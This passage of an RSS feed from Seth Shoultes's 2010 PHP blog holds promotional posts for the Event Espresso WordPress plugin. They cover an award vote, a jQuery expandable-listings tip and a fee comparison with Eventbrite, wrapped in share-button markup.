<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" ><channel><title>Shoultes.net &#187; PHP</title> <atom:link href="http://shoultes.net/category/php/feed/" rel="self" type="application/rss+xml" /><link>http://shoultes.net</link> <description>Seth Shoultes PHP Website</description> <lastBuildDate>Fri, 01 Apr 2011 20:39:40 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.0</generator> <item><title>Vote for Event Espresso – 2010 Plugin of the Year</title><link>http://shoultes.net/vote-event-espresso-2010-plugin-year/</link> <comments>http://shoultes.net/vote-event-espresso-2010-plugin-year/#comments</comments> <pubDate>Tue, 05 Oct 2010 07:11:27 +0000</pubDate> <dc:creator>Seth</dc:creator> <category><![CDATA[CSS]]></category> <category><![CDATA[Event Espresso]]></category> <category><![CDATA[Events]]></category> <category><![CDATA[Favorite Website]]></category> <category><![CDATA[HTML]]></category> <category><![CDATA[My Plugins]]></category> <category><![CDATA[MySQL]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[PHP]]></category> <category><![CDATA[PHP Developer News]]></category> <category><![CDATA[Wordpress]]></category> <category><![CDATA[Wordpress Plugins]]></category><guid isPermaLink="false">http://shoultes.net/?p=2132</guid> <description><![CDATA[Event Espresso has been nominated for the prestigious &#8220;2010 Plugin of the Year Award&#8221; at WordPress Honors. Please take a few minutes to show your support for Event Espresso (and any of  your other favorite plugins,) by voting. Need a little more incentive? Each person that registers on the WordPress Honors website will be entered [...]]]></description> <content:encoded><![CDATA[<div id="attachment_2133" class="wp-caption alignright" style="width: 135px"><a href="http://2010.wphonors.com/plugin/event-espresso/"><img class="size-full wp-image-2133 colorbox-2132" title="Vote for Event Espresso" src="http://shoultes.net/wp-content/uploads/2010/10/wphonors1.png" alt="Vote for Event Espresso" width="125" height="125" /></a><p class="wp-caption-text">Vote for Event Espresso</p></div><p><a href="http://eventespresso.com/" target="_blank">Event Espresso</a> has been nominated for the prestigious &#8220;2010 Plugin of the Year Award&#8221; at <a href="http://2010.wphonors.com./" target="_blank">WordPress Honors</a>. Please take a few minutes to <a href="http://2010.wphonors.com/plugin/event-espresso/" target="_blank">show your support</a> for Event Espresso (and any of  your other favorite plugins,) by voting.</p><p>Need a little more incentive? Each person that registers on the <a href="http://2010.wphonors.com/" target="_blank">WordPress Honors website</a> will be entered to win great prizes from other great WordPress theme and plugin developers.</p><p>So hurry up and <a href="http://2010.wphonors.com/plugin/event-espresso/" target="_blank">cast your vote</a> for Event Espresso and start <a href="http://2010.wphonors.com/sponsors/" target="_blank">winning prizes</a>! <img src='http://shoultes.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley colorbox-2132' /></p><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Vote+for+Event+Espresso+%E2%80%93+2010+Plugin+of+the+Year+-+http://bit.ly/cJQ7rV&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-facebook"> <a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://shoultes.net/vote-event-espresso-2010-plugin-year/&amp;t=Vote+for+Event+Espresso+%E2%80%93+2010+Plugin+of+the+Year" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://shoultes.net/vote-event-espresso-2010-plugin-year/&amp;title=Vote+for+Event+Espresso+%E2%80%93+2010+Plugin+of+the+Year" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://shoultes.net/vote-event-espresso-2010-plugin-year/&amp;title=Vote+for+Event+Espresso+%E2%80%93+2010+Plugin+of+the+Year" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://shoultes.net/vote-event-espresso-2010-plugin-year/&amp;title=Vote+for+Event+Espresso+%E2%80%93+2010+Plugin+of+the+Year" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://shoultes.net/vote-event-espresso-2010-plugin-year/&amp;title=Vote+for+Event+Espresso+%E2%80%93+2010+Plugin+of+the+Year" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-gmail"> <a href="https://mail.google.com/mail/?ui=2&amp;view=cm&amp;fs=1&amp;tf=1&amp;su=Vote+for+Event+Espresso+%E2%80%93+2010+Plugin+of+the+Year&amp;body=Link: http://shoultes.net/vote-event-espresso-2010-plugin-year/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A %0D%0A%0D%0AEvent%20Espresso%20has%20been%20nominated%20for%20the%20prestigious%20%222010%20Plugin%20of%20the%20Year%20Award%22%20at%20WordPress%20Honors.%20Please%20take%20a%20few%20minutes%20to%20show%20your%20support%20for%20Event%20Espresso%20%28and%20any%20of%C2%A0%20your%20other%20favorite%20plugins%2C%29%20by%20voting.%0D%0A%0D%0ANeed%20a%20little%20more%20incentive%3F%20Each%20person%20that%20registers%20on%20the%20W" rel="nofollow" class="external" title="Email this via Gmail">Email this via Gmail</a></li><li class="shr-googlebookmarks"> <a href="http://www.google.com/bookmarks/mark?op=add&amp;bkmk=http://shoultes.net/vote-event-espresso-2010-plugin-year/&amp;title=Vote+for+Event+Espresso+%E2%80%93+2010+Plugin+of+the+Year" rel="nofollow" class="external" title="Add this to Google Bookmarks">Add this to Google Bookmarks</a></li><li class="shr-blogger"> <a href="http://www.blogger.com/blog_this.pyra?t&amp;u=http://shoultes.net/vote-event-espresso-2010-plugin-year/&amp;n=Vote+for+Event+Espresso+%E2%80%93+2010+Plugin+of+the+Year&amp;pli=1" rel="nofollow" class="external" title="Blog this on Blogger">Blog this on Blogger</a></li><li class="shr-comfeed"> <a href="http://shoultes.net/vote-event-espresso-2010-plugin-year/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-dzone"> <a href="http://www.dzone.com/links/add.html?url=http://shoultes.net/vote-event-espresso-2010-plugin-year/&amp;title=Vote+for+Event+Espresso+%E2%80%93+2010+Plugin+of+the+Year&amp;description=%0D%0A%0D%0AEvent%20Espresso%20has%20been%20nominated%20for%20the%20prestigious%20%222010%20Plugin%20of%20the%20Year%20Award%22%20at%20WordPress%20Honors.%20Please%20take%20a%20few%20minutes%20to%20show%20your%20support%20for%20Event%20Espresso%20%28and%20any%20of%C2%A0%20your%20other%20favorite%20plugins%2C%29%20by%20voting.%0D%0A%0D%0ANeed%20a%20little%20more%20incentive%3F%20Each%20person%20that%20registers%20on%20the%20W" rel="nofollow" class="external" title="Add this to DZone">Add this to DZone</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://shoultes.net/vote-event-espresso-2010-plugin-year/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-googlereader"> <a href="http://www.google.com/reader/link?url=http://shoultes.net/vote-event-espresso-2010-plugin-year/&amp;title=Vote+for+Event+Espresso+%E2%80%93+2010+Plugin+of+the+Year&amp;srcUrl=http://shoultes.net/vote-event-espresso-2010-plugin-year/&amp;srcTitle=Vote+for+Event+Espresso+%E2%80%93+2010+Plugin+of+the+Year&amp;snippet=%0D%0A%0D%0AEvent%20Espresso%20has%20been%20nominated%20for%20the%20prestigious%20%222010%20Plugin%20of%20the%20Year%20Award%22%20at%20WordPress%20Honors.%20Please%20take%20a%20few%20minutes%20to%20show%20your%20support%20for%20Event%20Espresso%20%28and%20any%20of%C2%A0%20your%20other%20favorite%20plugins%2C%29%20by%20voting.%0D%0A%0D%0ANeed%20a%20little%20more%20incentive%3F%20Each%20person%20that%20registers%20on%20the%20W" rel="nofollow" class="external" title="Add this to Google Reader">Add this to Google Reader</a></li><li class="shr-linkedin"> <a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://shoultes.net/vote-event-espresso-2010-plugin-year/&amp;title=Vote+for+Event+Espresso+%E2%80%93+2010+Plugin+of+the+Year&amp;summary=%0D%0A%0D%0AEvent%20Espresso%20has%20been%20nominated%20for%20the%20prestigious%20%222010%20Plugin%20of%20the%20Year%20Award%22%20at%20WordPress%20Honors.%20Please%20take%20a%20few%20minutes%20to%20show%20your%20support%20for%20Event%20Espresso%20%28and%20any%20of%C2%A0%20your%20other%20favorite%20plugins%2C%29%20by%20voting.%0D%0A%0D%0ANeed%20a%20little%20more%20incentive%3F%20Each%20person%20that%20registers%20on%20the%20W&amp;source=Shoultes.net" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a></li><li class="shr-mail"> <a href="mailto:?subject=%22Vote%20for%20Event%20Espresso%20%E2%80%93%202010%20Plugin%20of%20the%20Year%22&amp;body=Link: http://shoultes.net/vote-event-espresso-2010-plugin-year/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A %0D%0A%0D%0AEvent%20Espresso%20has%20been%20nominated%20for%20the%20prestigious%20%222010%20Plugin%20of%20the%20Year%20Award%22%20at%20WordPress%20Honors.%20Please%20take%20a%20few%20minutes%20to%20show%20your%20support%20for%20Event%20Espresso%20%28and%20any%20of%C2%A0%20your%20other%20favorite%20plugins%2C%29%20by%20voting.%0D%0A%0D%0ANeed%20a%20little%20more%20incentive%3F%20Each%20person%20that%20registers%20on%20the%20W" rel="nofollow" class="external" title="Email this to a friend?">Email this to a friend?</a></li><li class="shr-squidoo"> <a href="http://www.squidoo.com/lensmaster/bookmark?http://shoultes.net/vote-event-espresso-2010-plugin-year/" rel="nofollow" class="external" title="Add to a lense on Squidoo">Add to a lense on Squidoo</a></li><li class="shr-yahoobuzz"> <a href="http://buzz.yahoo.com/submit/?submitUrl=http://shoultes.net/vote-event-espresso-2010-plugin-year/&amp;submitHeadline=Vote+for+Event+Espresso+%E2%80%93+2010+Plugin+of+the+Year&amp;submitSummary=%0D%0A%0D%0AEvent%20Espresso%20has%20been%20nominated%20for%20the%20prestigious%20%222010%20Plugin%20of%20the%20Year%20Award%22%20at%20WordPress%20Honors.%20Please%20take%20a%20few%20minutes%20to%20show%20your%20support%20for%20Event%20Espresso%20%28and%20any%20of%C2%A0%20your%20other%20favorite%20plugins%2C%29%20by%20voting.%0D%0A%0D%0ANeed%20a%20little%20more%20incentive%3F%20Each%20person%20that%20registers%20on%20the%20W&amp;submitCategory=business&amp;submitAssetType=text" rel="nofollow" class="external" title="Buzz up!">Buzz up!</a></li><li class="shr-yahoomail"> <a href="http://compose.mail.yahoo.com/?Subject=Vote+for+Event+Espresso+%E2%80%93+2010+Plugin+of+the+Year&amp;body=Link: http://shoultes.net/vote-event-espresso-2010-plugin-year/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A %0D%0A%0D%0AEvent%20Espresso%20has%20been%20nominated%20for%20the%20prestigious%20%222010%20Plugin%20of%20the%20Year%20Award%22%20at%20WordPress%20Honors.%20Please%20take%20a%20few%20minutes%20to%20show%20your%20support%20for%20Event%20Espresso%20%28and%20any%20of%C2%A0%20your%20other%20favorite%20plugins%2C%29%20by%20voting.%0D%0A%0D%0ANeed%20a%20little%20more%20incentive%3F%20Each%20person%20that%20registers%20on%20the%20W" rel="nofollow" class="external" title="Email this via Yahoo! Mail">Email this via Yahoo! Mail</a></li></ul><div style="clear:both;"></div></div>]]></content:encoded> <wfw:commentRss>http://shoultes.net/vote-event-espresso-2010-plugin-year/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Expandable/Collapsible Event Listings</title><link>http://shoultes.net/expandablecollapsible-event-listings/</link> <comments>http://shoultes.net/expandablecollapsible-event-listings/#comments</comments> <pubDate>Tue, 05 Oct 2010 06:06:53 +0000</pubDate> <dc:creator>Seth</dc:creator> <category><![CDATA[CSS]]></category> <category><![CDATA[Event Espresso]]></category> <category><![CDATA[Events]]></category> <category><![CDATA[HTML]]></category> <category><![CDATA[My Plugins]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[PHP]]></category> <category><![CDATA[PHP Code Samples]]></category> <category><![CDATA[Web Design]]></category> <category><![CDATA[Wordpress]]></category> <category><![CDATA[Wordpress Plugins]]></category><guid isPermaLink="false">http://shoultes.net/?p=2125</guid> <description><![CDATA[I posted a quick example of how to add jQuery enabled expandable/collapsible panels to your event listings over at the Event Espresso forums. Be sure to check it out if you want to learn how to add this cool feature to your event listings. Tweet This! Share this on Facebook Digg this! Stumble upon something [...]]]></description> <content:encoded><![CDATA[<p>I posted a quick example of how to add <a href="http://eventespresso.com/forums/2010/10/expandablecollapsible-event-listings/" target="_blank">jQuery enabled expandable/collapsible panels</a> to your event listings over at the <a href="http://eventespresso.com/forums/2010/10/expandablecollapsible-event-listings/" target="_blank">Event Espresso forums</a>. Be sure to <a href="http://eventespresso.com/forums/2010/10/expandablecollapsible-event-listings/" target="_blank">check it out</a> if you want to learn how to add <a href="http://eventespresso.com/forums/2010/10/expandablecollapsible-event-listings/" target="_blank">this cool feature</a> to your event listings.</p><div id="attachment_2126" class="wp-caption alignleft" style="width: 160px"><a href="http://shoultes.net/wp-content/uploads/2010/10/closed.jpg"><img class="size-thumbnail wp-image-2126 colorbox-2125" title="Closed Panels" src="http://shoultes.net/wp-content/uploads/2010/10/closed-150x150.jpg" alt="Closed Panels" width="150" height="150" /></a><p class="wp-caption-text">Closed Panels</p></div><div id="attachment_2127" class="wp-caption aligncenter" style="width: 160px"><a href="http://shoultes.net/wp-content/uploads/2010/10/open.jpg"><img class="size-thumbnail wp-image-2127 colorbox-2125" title="Open Panel" src="http://shoultes.net/wp-content/uploads/2010/10/open-150x150.jpg" alt="Open Panel" width="150" height="150" /></a><p class="wp-caption-text">Open Panel</p></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Expandable%2FCollapsible+Event+Listings+-+http://bit.ly/aUwiSj&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-facebook"> <a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://shoultes.net/expandablecollapsible-event-listings/&amp;t=Expandable%2FCollapsible+Event+Listings" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://shoultes.net/expandablecollapsible-event-listings/&amp;title=Expandable%2FCollapsible+Event+Listings" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://shoultes.net/expandablecollapsible-event-listings/&amp;title=Expandable%2FCollapsible+Event+Listings" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://shoultes.net/expandablecollapsible-event-listings/&amp;title=Expandable%2FCollapsible+Event+Listings" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://shoultes.net/expandablecollapsible-event-listings/&amp;title=Expandable%2FCollapsible+Event+Listings" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-gmail"> <a href="https://mail.google.com/mail/?ui=2&amp;view=cm&amp;fs=1&amp;tf=1&amp;su=Expandable%2FCollapsible+Event+Listings&amp;body=Link: http://shoultes.net/expandablecollapsible-event-listings/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A I%20posted%20a%20quick%20example%20of%20how%20to%20add%20jQuery%20enabled%20expandable%2Fcollapsible%20panels%20to%20your%20event%20listings%20over%20at%20the%20Event%20Espresso%20forums.%20Be%20sure%20to%20check%20it%20out%20if%20you%20want%20to%20learn%20how%20to%20add%20this%20cool%20feature%20to%20your%20event%20listings.%0D%0A%0D%0A%0D%0A%0D%0A" rel="nofollow" class="external" title="Email this via Gmail">Email this via Gmail</a></li><li class="shr-googlebookmarks"> <a href="http://www.google.com/bookmarks/mark?op=add&amp;bkmk=http://shoultes.net/expandablecollapsible-event-listings/&amp;title=Expandable%2FCollapsible+Event+Listings" rel="nofollow" class="external" title="Add this to Google Bookmarks">Add this to Google Bookmarks</a></li><li class="shr-blogger"> <a href="http://www.blogger.com/blog_this.pyra?t&amp;u=http://shoultes.net/expandablecollapsible-event-listings/&amp;n=Expandable%2FCollapsible+Event+Listings&amp;pli=1" rel="nofollow" class="external" title="Blog this on Blogger">Blog this on Blogger</a></li><li class="shr-comfeed"> <a href="http://shoultes.net/expandablecollapsible-event-listings/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-dzone"> <a href="http://www.dzone.com/links/add.html?url=http://shoultes.net/expandablecollapsible-event-listings/&amp;title=Expandable%2FCollapsible+Event+Listings&amp;description=I%20posted%20a%20quick%20example%20of%20how%20to%20add%20jQuery%20enabled%20expandable%2Fcollapsible%20panels%20to%20your%20event%20listings%20over%20at%20the%20Event%20Espresso%20forums.%20Be%20sure%20to%20check%20it%20out%20if%20you%20want%20to%20learn%20how%20to%20add%20this%20cool%20feature%20to%20your%20event%20listings.%0D%0A%0D%0A%0D%0A%0D%0A" rel="nofollow" class="external" title="Add this to DZone">Add this to DZone</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://shoultes.net/expandablecollapsible-event-listings/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-googlereader"> <a href="http://www.google.com/reader/link?url=http://shoultes.net/expandablecollapsible-event-listings/&amp;title=Expandable%2FCollapsible+Event+Listings&amp;srcUrl=http://shoultes.net/expandablecollapsible-event-listings/&amp;srcTitle=Expandable%2FCollapsible+Event+Listings&amp;snippet=I%20posted%20a%20quick%20example%20of%20how%20to%20add%20jQuery%20enabled%20expandable%2Fcollapsible%20panels%20to%20your%20event%20listings%20over%20at%20the%20Event%20Espresso%20forums.%20Be%20sure%20to%20check%20it%20out%20if%20you%20want%20to%20learn%20how%20to%20add%20this%20cool%20feature%20to%20your%20event%20listings.%0D%0A%0D%0A%0D%0A%0D%0A" rel="nofollow" class="external" title="Add this to Google Reader">Add this to Google Reader</a></li><li class="shr-linkedin"> <a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://shoultes.net/expandablecollapsible-event-listings/&amp;title=Expandable%2FCollapsible+Event+Listings&amp;summary=I%20posted%20a%20quick%20example%20of%20how%20to%20add%20jQuery%20enabled%20expandable%2Fcollapsible%20panels%20to%20your%20event%20listings%20over%20at%20the%20Event%20Espresso%20forums.%20Be%20sure%20to%20check%20it%20out%20if%20you%20want%20to%20learn%20how%20to%20add%20this%20cool%20feature%20to%20your%20event%20listings.%0D%0A%0D%0A%0D%0A%0D%0A&amp;source=Shoultes.net" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a></li><li class="shr-mail"> <a href="mailto:?subject=%22Expandable%2FCollapsible%20Event%20Listings%22&amp;body=Link: http://shoultes.net/expandablecollapsible-event-listings/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A I%20posted%20a%20quick%20example%20of%20how%20to%20add%20jQuery%20enabled%20expandable%2Fcollapsible%20panels%20to%20your%20event%20listings%20over%20at%20the%20Event%20Espresso%20forums.%20Be%20sure%20to%20check%20it%20out%20if%20you%20want%20to%20learn%20how%20to%20add%20this%20cool%20feature%20to%20your%20event%20listings.%0D%0A%0D%0A%0D%0A%0D%0A" rel="nofollow" class="external" title="Email this to a friend?">Email this to a friend?</a></li><li class="shr-squidoo"> <a href="http://www.squidoo.com/lensmaster/bookmark?http://shoultes.net/expandablecollapsible-event-listings/" rel="nofollow" class="external" title="Add to a lense on Squidoo">Add to a lense on Squidoo</a></li><li class="shr-yahoobuzz"> <a href="http://buzz.yahoo.com/submit/?submitUrl=http://shoultes.net/expandablecollapsible-event-listings/&amp;submitHeadline=Expandable%2FCollapsible+Event+Listings&amp;submitSummary=I%20posted%20a%20quick%20example%20of%20how%20to%20add%20jQuery%20enabled%20expandable%2Fcollapsible%20panels%20to%20your%20event%20listings%20over%20at%20the%20Event%20Espresso%20forums.%20Be%20sure%20to%20check%20it%20out%20if%20you%20want%20to%20learn%20how%20to%20add%20this%20cool%20feature%20to%20your%20event%20listings.%0D%0A%0D%0A%0D%0A%0D%0A&amp;submitCategory=business&amp;submitAssetType=text" rel="nofollow" class="external" title="Buzz up!">Buzz up!</a></li><li class="shr-yahoomail"> <a href="http://compose.mail.yahoo.com/?Subject=Expandable%2FCollapsible+Event+Listings&amp;body=Link: http://shoultes.net/expandablecollapsible-event-listings/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A I%20posted%20a%20quick%20example%20of%20how%20to%20add%20jQuery%20enabled%20expandable%2Fcollapsible%20panels%20to%20your%20event%20listings%20over%20at%20the%20Event%20Espresso%20forums.%20Be%20sure%20to%20check%20it%20out%20if%20you%20want%20to%20learn%20how%20to%20add%20this%20cool%20feature%20to%20your%20event%20listings.%0D%0A%0D%0A%0D%0A%0D%0A" rel="nofollow" class="external" title="Email this via Yahoo! Mail">Email this via Yahoo! Mail</a></li></ul><div style="clear:both;"></div></div>]]></content:encoded> <wfw:commentRss>http://shoultes.net/expandablecollapsible-event-listings/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Friends Don’t Let Friends Host Events on Eventbrite</title><link>http://shoultes.net/friends-dont-let-friends-host-events-eventbrite/</link> <comments>http://shoultes.net/friends-dont-let-friends-host-events-eventbrite/#comments</comments> <pubDate>Sat, 21 Aug 2010 07:09:17 +0000</pubDate> <dc:creator>Seth</dc:creator> <category><![CDATA[Authorize.net]]></category> <category><![CDATA[Event Espresso]]></category> <category><![CDATA[Events]]></category> <category><![CDATA[Featured Posts]]></category> <category><![CDATA[My Plugins]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[PHP]]></category> <category><![CDATA[PayPal]]></category> <category><![CDATA[Ramblings]]></category> <category><![CDATA[Web Design]]></category> <category><![CDATA[Wordpress]]></category> <category><![CDATA[Wordpress Plugins]]></category><guid isPermaLink="false">http://shoultes.net/?p=2084</guid> <description><![CDATA[Still using Eventbrite to host your events? You could be wasting hundreds of dollars in fees. In a recent blog post, Event Espresso goes head-to-head with Eventbrite. While Event Espresso boasts no per event registration fees and transaction fees and your customer&#8217;s data is stored safely on your server. Event Espresso comes out looking like [...]]]></description> <content:encoded><![CDATA[<p>Still using <a href="http://www.eventbrite.com/" target="_blank">Eventbrite</a> to host your events? You could be <a href="http://eventespresso.com/2010/08/friends-dont-let-friends-host-events-eventbrite/" target="_blank">wasting hundreds</a> of dollars in fees.</p><p>In a <a href="http://eventespresso.com/2010/08/friends-dont-let-friends-host-events-eventbrite/" target="_blank">recent blog post</a>, <a href="http://eventespresso.com/" target="_blank">Event Espresso</a> goes head-to-head with <a href="http://www.eventbrite.com/" target="_blank">Eventbrite</a>. While Event Espresso boasts no per event registration fees and transaction  fees and your customer&#8217;s data is stored safely on your server. <a href="http://eventespresso.com/" target="_blank">Event Espresso</a> comes out looking like the best option for a self-hosted event registration and management systems. The <a href="http://www.eventbrite.com/" target="_blank">Eventbrite</a> hosted event management system continues to hammer you with outrageous fees.</p><p>For a limited time, get $10 off the <a href="http://eventespresso.com/download/basic/" target="_blank">basic license</a> using the discount code <strong>EVENTBRITE </strong>when checking out<strong>.<br /> </strong></p><p><a href="http://eventespresso.com/2010/08/friends-dont-let-friends-host-events-eventbrite/" target="_blank">Read the full story &gt;&gt;</a></p><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Friends+Don%E2%80%99t+Let+Friends+Host+Events+on+Eventbrite+-+http://bit.ly/ddVMCO&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-facebook"> <a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://shoultes.net/friends-dont-let-friends-host-events-eventbrite/&amp;t=Friends+Don%E2%80%99t+Let+Friends+Host+Events+on+Eventbrite" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://shoultes.net/friends-dont-let-friends-host-events-eventbrite/&amp;title=Friends+Don%E2%80%99t+Let+Friends+Host+Events+on+Eventbrite" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://shoultes.net/friends-dont-let-friends-host-events-eventbrite/&amp;title=Friends+Don%E2%80%99t+Let+Friends+Host+Events+on+Eventbrite" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://shoultes.net/friends-dont-let-friends-host-events-eventbrite/&amp;title=Friends+Don%E2%80%99t+Let+Friends+Host+Events+on+Eventbrite" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://shoultes.net/friends-dont-let-friends-host-events-eventbrite/&amp;title=Friends+Don%E2%80%99t+Let+Friends+Host+Events+on+Eventbrite" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-gmail"> <a href="https://mail.google.com/mail/?ui=2&amp;view=cm&amp;fs=1&amp;tf=1&amp;su=Friends+Don%E2%80%99t+Let+Friends+Host+Events+on+Eventbrite&amp;body=Link: http://shoultes.net/friends-dont-let-friends-host-events-eventbrite/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A Still%20using%20Eventbrite%20to%20host%20your%20events%3F%20You%20could%20be%20wasting%20hundreds%20of%20dollars%20in%20fees.%0D%0A%0D%0AIn%20a%20recent%20blog%20post%2C%20Event%20Espresso%20goes%20head-to-head%20with%20Eventbrite.%20While%20Event%20Espresso%20boasts%20no%20per%20event%20registration%20fees%20and%20transaction%20%20fees%20and%20your%20customer%27s%20data%20is%20stored%20safely%20on%20your" rel="nofollow" class="external" title="Email this via Gmail">Email this via Gmail</a></li><li class="shr-googlebookmarks"> <a href="http://www.google.com/bookmarks/mark?op=add&amp;bkmk=http://shoultes.net/friends-dont-let-friends-host-events-eventbrite/&amp;title=Friends+Don%E2%80%99t+Let+Friends+Host+Events+on+Eventbrite" rel="nofollow" class="external" title="Add this to Google Bookmarks">Add this to Google Bookmarks</a></li><li class="shr-blogger"> <a href="http://www.blogger.com/blog_this.pyra?t&amp;u=http://shoultes.net/friends-dont-let-friends-host-events-eventbrite/&amp;n=Friends+Don%E2%80%99t+Let+Friends+Host+Events+on+Eventbrite&amp;pli=1" rel="nofollow" class="external" title="Blog this on Blogger">Blog this on Blogger</a></li><li class="shr-comfeed"> <a href="http://shoultes.net/friends-dont-let-friends-host-events-eventbrite/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-dzone"> <a href="http://www.dzone.com/links/add.html?url=http://shoultes.net/friends-dont-let-friends-host-events-eventbrite/&amp;title=Friends+Don%E2%80%99t+Let+Friends+Host+Events+on+Eventbrite&amp;description=Still%20using%20Eventbrite%20to%20host%20your%20events%3F%20You%20could%20be%20wasting%20hundreds%20of%20dollars%20in%20fees.%0D%0A%0D%0AIn%20a%20recent%20blog%20post%2C%20Event%20Espresso%20goes%20head-to-head%20with%20Eventbrite.%20While%20Event%20Espresso%20boasts%20no%20per%20event%20registration%20fees%20and%20transaction%20%20fees%20and%20your%20customer%27s%20data%20is%20stored%20safely%20on%20your" rel="nofollow" class="external" title="Add this to DZone">Add this to DZone</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://shoultes.net/friends-dont-let-friends-host-events-eventbrite/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-googlereader"> <a href="http://www.google.com/reader/link?url=http://shoultes.net/friends-dont-let-friends-host-events-eventbrite/&amp;title=Friends+Don%E2%80%99t+Let+Friends+Host+Events+on+Eventbrite&amp;srcUrl=http://shoultes.net/friends-dont-let-friends-host-events-eventbrite/&amp;srcTitle=Friends+Don%E2%80%99t+Let+Friends+Host+Events+on+Eventbrite&amp;snippet=Still%20using%20Eventbrite%20to%20host%20your%20events%3F%20You%20could%20be%20wasting%20hundreds%20of%20dollars%20in%20fees.%0D%0A%0D%0AIn%20a%20recent%20blog%20post%2C%20Event%20Espresso%20goes%20head-to-head%20with%20Eventbrite.%20While%20Event%20Espresso%20boasts%20no%20per%20event%20registration%20fees%20and%20transaction%20%20fees%20and%20your%20customer%27s%20data%20is%20stored%20safely%20on%20your" rel="nofollow" class="external" title="Add this to Google Reader">Add this to Google Reader</a></li><li class="shr-linkedin"> <a 